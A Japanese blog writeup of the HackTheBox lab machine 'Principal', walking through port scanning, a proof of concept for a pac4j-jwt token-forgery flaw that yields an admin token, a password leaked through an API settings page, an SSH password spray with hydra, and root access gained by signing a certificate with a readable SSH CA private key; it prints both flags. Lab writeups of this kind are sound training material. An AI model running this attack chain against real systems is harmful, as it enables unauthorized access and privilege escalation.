0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【HackTheBox】Principal:Writeup

0
Posted at

概要

HackTheBox「Principal」のWriteupです。

User Flag

ポートスキャンを実行します。

$ nmap -Pn -sCV -T4 -p- 10.129.244.220 -oN nmap_result

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b0:a0:ca:46:bc:c2:cd:7e:10:05:05:2a:b8:c9:48:91 (ECDSA)
|_  256 e8:a4:9d:bf:c1:b6:2a:37:93:40:d0:78:00:f5:5f:d9 (ED25519)
8080/tcp open  http-proxy Jetty
|_http-open-proxy: Proxy might be redirecting requests
| http-title: Principal Internal Platform - Login
|_Requested resource was /login
|_http-server-header: Jetty
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 Not Found
|     Date: Sun, 31 May 2026 15:34:48 GMT
|     Server: Jetty
|     X-Powered-By: pac4j-jwt/6.0.3
|     Cache-Control: must-revalidate,no-cache,no-store
|     Content-Type: application/json
|     {"timestamp":"2026-05-31T15:34:48.077+00:00","status":404,"error":"Not Found","path":"/nice%20ports%2C/Tri%6Eity.txt%2ebak"}
|   GetRequest: 
|     HTTP/1.1 302 Found
|     Date: Sun, 31 May 2026 15:34:46 GMT
|     Server: Jetty
|     X-Powered-By: pac4j-jwt/6.0.3
|     Content-Language: en
|     Location: /login
|     Content-Length: 0
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Sun, 31 May 2026 15:34:47 GMT
|     Server: Jetty
|     X-Powered-By: pac4j-jwt/6.0.3
|     Allow: GET,HEAD,OPTIONS
|     Accept-Patch: 
|     Content-Length: 0
|   RTSPRequest: 
|     HTTP/1.1 505 HTTP Version Not Supported
|     Date: Sun, 31 May 2026 15:34:47 GMT
|     Cache-Control: must-revalidate,no-cache,no-store
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 349
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/>
|     <title>Error 505 Unknown Version</title>
|     </head>
|     <body>
|     <h2>HTTP ERROR 505 Unknown Version</h2>
|     <table>
|     <tr><th>URI:</th><td>/badMessage</td></tr>
|     <tr><th>STATUS:</th><td>505</td></tr>
|     <tr><th>MESSAGE:</th><td>Unknown Version</td></tr>
|     </table>
|     </body>
|     </html>
|   Socks5: 
|     HTTP/1.1 400 Bad Request
|     Date: Sun, 31 May 2026 15:34:48 GMT
|     Cache-Control: must-revalidate,no-cache,no-store
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 382
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/>
|     <title>Error 400 Illegal character CNTL=0x5</title>
|     </head>
|     <body>
|     <h2>HTTP ERROR 400 Illegal character CNTL=0x5</h2>
|     <table>
|     <tr><th>URI:</th><td>/badMessage</td></tr>
|     <tr><th>STATUS:</th><td>400</td></tr>
|     <tr><th>MESSAGE:</th><td>Illegal character CNTL=0x5</td></tr>
|     </table>
|     </body>
|_    </html>

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 9.6p1
8080 http-proxy Jetty

8080番ポートにアクセスすると、Webサイトが表示されました。

image.png

ディレクトリスキャンをします。

$ dirsearch -u http://10.129.244.220:8080/
[11:40:53] 200 -    4KB - /dashboard
[11:41:16] 200 -    6KB - /login

nmapのX-Powered-By: pac4j-jwt/6.0.3から製品情報とバージョン情報を得られました。
該当バージョンの脆弱性を検索すると、CVE-2026-29000がヒットしました。

攻撃には以下POCを使用します。

POCを実行すると、adminのJWE Tokenを生成できました。

$ python3 poc.py --jwks http://10.129.244.220:8080/api/auth/jwks --user admin --role ROLE_ADMIN 
[*] Fetching JWKS...
[+] Public key loaded
[+] PlainJWT created

=== Malicious JWE Token ===

eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImN0eSI6ICJKV1QiLCAia2lkIjogImVuYy1rZXktMSJ9.aKoYOlD6PnLD91Tt5wEe1E3Ztz9vPzmy2BQJJ_2ThkJ4cGm0UsFMOsa0AyE2ytnKWI-fVCPzwCDIo3iix5zLII9KGWfETiK43J2IJfONeJxtXGHi6hFZ3cDXZY_Klj1m_Oi8bh-bGXcRAbzaHVof-CSiTJPMRe-lqxjCznLMn7HO0T10nvA6GhuTSNf59Kn3pc_o9H0sezeBWVbsjEYjT4d-3syqFq1NhsjUj5lI1f9e_ZeuCEBJ42lZg-KXIKwd1mw7WxgufpvbRSdux67KVrNoEFM3X_CpRBGaSS1JpDXju_Mzp74HJweCQOVbr2o4u-n_Gyt9qrdQ8cvMEWPqng.XbhTMPup5a_H2CqJ.RtXCvoy1O9yIeJHag1BlQqFHcd3p_x2OsPLj73NqkS6C-b9eNmKKRCwZFwfB1c7SDG0xzFJmK1y1mMliIYPIRfm1F9iqID1uGeVSect9la3_5efa7JGqjJV8UholZZJc1wDm_TbOjp6zBKcH5Gc3KLXwgVaYdelGsSsmgIIY2wgjLB2HPXsY0kELN6Q_BF7Ajt22LbtR_mJQ4mzd0Vs5sago2LFMPIJ6G1jv-UnA6CCYTjMMRA.WVbKh796z2a5pYQkmfjuiA

Use it as:
Authorization: Bearer eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImN0eSI6ICJKV1QiLCAia2lkIjogImVuYy1rZXktMSJ9.aKoYOlD6PnLD91Tt5wEe1E3Ztz9vPzmy2BQJJ_2ThkJ4cGm0UsFMOsa0AyE2ytnKWI-fVCPzwCDIo3iix5zLII9KGWfETiK43J2IJfONeJxtXGHi6hFZ3cDXZY_Klj1m_Oi8bh-bGXcRAbzaHVof-CSiTJPMRe-lqxjCznLMn7HO0T10nvA6GhuTSNf59Kn3pc_o9H0sezeBWVbsjEYjT4d-3syqFq1NhsjUj5lI1f9e_ZeuCEBJ42lZg-KXIKwd1mw7WxgufpvbRSdux67KVrNoEFM3X_CpRBGaSS1JpDXju_Mzp74HJweCQOVbr2o4u-n_Gyt9qrdQ8cvMEWPqng.XbhTMPup5a_H2CqJ.RtXCvoy1O9yIeJHag1BlQqFHcd3p_x2OsPLj73NqkS6C-b9eNmKKRCwZFwfB1c7SDG0xzFJmK1y1mMliIYPIRfm1F9iqID1uGeVSect9la3_5efa7JGqjJV8UholZZJc1wDm_TbOjp6zBKcH5Gc3KLXwgVaYdelGsSsmgIIY2wgjLB2HPXsY0kELN6Q_BF7Ajt22LbtR_mJQ4mzd0Vs5sago2LFMPIJ6G1jv-UnA6CCYTjMMRA.WVbKh796z2a5pYQkmfjuiA

/static/js/app.jsを確認すると、複数のエンドポイントを発見しました。

/static/js/app.js
const API_BASE = '';
const JWKS_ENDPOINT = '/api/auth/jwks';
const AUTH_ENDPOINT = '/api/auth/login';
const DASHBOARD_ENDPOINT = '/api/dashboard';
const USERS_ENDPOINT = '/api/users';
const SETTINGS_ENDPOINT = '/api/settings';

生成したadminのJWE Tokenを使用し、/api/usersへアクセスするとユーザ一覧を確認できました。

image.png

/api/dashboardで、ダッシュボードへアクセス出来ました。

image.png

/api/settingsで、設定内容を確認できました。

image.png

設定項目の内容から、/opt/principal/ssh/がSSH証明書に関係しているようです。

"infrastructure":{"sshCertAuth":"enabled","sshCaPath":"/opt/principal/ssh/","notes":"SSH certificate auth configured for automation - see /opt/principal/ssh/ for CA config.","database":"H2 (embedded)"}

また、encryptionKeyの値からパスワードの様なD3pl0y_$$H_Now42!を得られました。

"security":{"authFramework":"pac4j-jwt","authFrameworkVersion":"6.0.3","jwtAlgorithm":"RS256","jweAlgorithm":"RSA-OAEP-256","jweEncryption":"A128GCM","encryptionKey":"D3pl0y_$$H_Now42!","tokenExpiry":"3600s","sessionManagement":"stateless"}

/api/usersからユーザリストファイルを作成します。

users.txt
admin
svc-deploy
jthompson
amorales
bwright
kkumar
mwilson
lzhang

SSHの総当たりを試行すると、認証情報の特定に成功しました。

$ hydra -L users.txt -p 'D3pl0y_$$H_Now42!' 10.129.244.220 ssh
[22][ssh] host: 10.129.244.220   login: svc-deploy   password: D3pl0y_$$H_Now42!

SSH接続に成功しました。

$ ssh svc-deploy@10.129.244.220
svc-deploy@principal:~$

ユーザフラグを入手できました。

svc-deploy@principal:~$ cat user.txt 
b185d74e2754c08b329b6e8e6185c5c8

A.b185d74e2754c08b329b6e8e6185c5c8

Root Flag

所属グループを調べます。

svc-deploy@principal:~$ id
uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)

グループで権限を持っているファイルを探します。

svc-deploy@principal:~$ find / -group deployers 2>/dev/null
/etc/ssh/sshd_config.d/60-principal.conf
/opt/principal/ssh
/opt/principal/ssh/README.txt
/opt/principal/ssh/ca

SSHの設定ファイルを確認します。
TrustedUserCAKeys /opt/principal/ssh/ca.pubとあり、信頼されたCAの公開鍵が置かれています。

svc-deploy@principal:/opt/principal$ cat /etc/ssh/sshd_config.d/60-principal.conf
# Principal machine SSH configuration
PubkeyAuthentication yes
PasswordAuthentication yes
PermitRootLogin prohibit-password
TrustedUserCAKeys /opt/principal/ssh/ca.pub

このことから、登録されているCAはsshdによって信頼されている事が分かります。

svc-deploy@principal:/opt/principal$ cat ssh/README.txt 
CA keypair for SSH certificate automation.

This CA is trusted by sshd for certificate-based authentication.
Use deploy.sh to issue short-lived certificates for service accounts.

Key details:
  Algorithm: RSA 4096-bit
  Created: 2025-11-15
  Purpose: Automated deployment authentication

CAの公開鍵を確認できました。

$ cat ssh/ca.pub 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6lxNSz

CAの秘密鍵も確認できました。

$ cat ssh/ca
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAgEAupcTUsyUBVNyv9BSynItQWa/hy9VE0OOcvJ85btLVWghXJbhGWcj

CAの秘密鍵でSSH公開鍵を署名し、rootでSSH接続できるようにします。

$ ssh-keygen -s ca_priv_key -I user_identity -n root -V +1d ~/.ssh/id_rsa.pub
Signed user key /home/kali/.ssh/id_rsa-cert.pub: id "user_identity" serial 0 for root valid from 2026-05-31T12:53:00 to 2026-06-01T12:54:57

Principals:rootとなっており、rootがSSH接続許可されていることが分かります。

$ ssh-keygen -L -f ~/.ssh/id_rsa-cert.pub
/home/kali/.ssh/id_rsa-cert.pub:
        Type: ssh-rsa-cert-v01@openssh.com user certificate
        Public key: RSA-CERT SHA256:05Tf1c7w1CUZd804K0ks8luGuGZ932d5nQ58DYEMphw
        Signing CA: RSA SHA256:bExSfFTUaopPXEM+lTW6QM0uXnsy7CICk0+p0UKK3ps (using rsa-sha2-512)
        Key ID: "user_identity"
        Serial: 0
        Valid: from 2026-05-31T12:53:00 to 2026-06-01T12:54:57
        Principals: 
                root
        Critical Options: (none)
        Extensions: 
                permit-X11-forwarding
                permit-agent-forwarding
                permit-port-forwarding
                permit-pty
                permit-user-rc

rootでSSH接続に成功しました。

$ ssh -i ~/.ssh/id_rsa root@10.129.244.220
root@principal:~# id
uid=0(root) gid=0(root) groups=0(root)

ルートフラグを入手できました。

root@principal:~# cat /root/root.txt 
f983e4c178dc3dace74a1fa94761d747

A.f983e4c178dc3dace74a1fa94761d747

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?